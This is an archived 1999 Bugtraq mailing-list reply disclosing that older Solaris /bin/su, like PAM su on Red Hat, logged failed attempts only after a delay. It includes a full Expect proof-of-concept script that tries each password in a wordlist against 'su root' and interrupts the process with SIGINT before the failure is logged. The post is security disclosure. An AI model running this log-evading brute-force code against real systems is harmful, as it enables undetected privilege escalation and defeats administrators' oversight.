The same sort of problem existed in solaris /bin/su on 2.5 and below. The comments in the quick proof of concept sploit below should explain further [heh - almost as high a comment/code ratio as Hobbit's netcat source :) ]. -----SNIP SNIP----- #!/usr/local/bin/expect -- # A quick little sploit for a quick round of beers :) mudgeat_private # # This was something that had been floating around for some time. # It might have been bitwrior that pointed out some of the oddities # but I don't remember. # # It was mentioned to Casper Dik at some point and it was fixed in # the next rev of Solaris (don't remember if the fix took place in # 2.5.1 or 2.6 - I know it is in 2.6 at least). # # What happened was that the Solaris 2.5 and below systems # had /bin/su written in the following fashion : # # attempt to SU # | # succesfull # / \ # Y N # | | # exec cmd sleep # | # syslog # | # exit # # There were a few problems here - not the least of which was that they # did not bother to trap signals. Thus, if you noticed su taking a while # you most likely entered an incorrect password and were in the # sleep phase. # # Sending a SIGINT by hitting ctrl-c would kill the process # before the syslog of the invalid attempt occured. # # In current versions of /bin/su they DO trap signals. # # It should be noted that this is a fairly common coding problem that # people will find in a lot of "security related" programs. # # .mudge if { ($argc < 1) || ($argc > 1) } { puts "correct usage is : $argv0 pwfile" exit } set pwfile [open $argv "r"] log_user 0 foreach line [split [read $pwfile] "\n"] { spawn su root expect "Password:" send "$line\n" # you might need to tweak this but it should be ok set timeout 2 expect { "#" { puts "root password is $line\n" ; exit } } set id [ exp_pid ] exec kill -INT $id } -----SNIP SNIP------ cheers, .mudge --------- For more advisories check out: http://www.L0pht.com/advisories.html [ That's L-zero-P-H-T ] --------- On Wed, 9 Jun 1999, Tani Hosokawa wrote: > I was talking to some guy on IRC (st2) and he asked me to mention to > bugtraq (because he's not on the list) that the PAMified su that comes > with redhat has a slight hole. When you try to su to root (for example) if > it's successful, immediately gives you a shell prompt. Otherwise, it > delays a full second, then logs an authentication failure to syslog. If > you hit break in that second, no error, plus you know that the password > was bad, so you can brute force root's password. I wrote a little > threaded Perl prog that tested it (with a 0.25 second delay before the > break) to attack my own password (with my password in the wordlist) and it > seemed to work just fine, even with my own password hundreds of words down > in the list, so it seems pretty predictable, as long as the server's under > very little load (else you get a delay no matter what, and it screws the > whole process by giving false negatives). > > --- > tani hosokawa > river styx internet >
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:48:59 PDT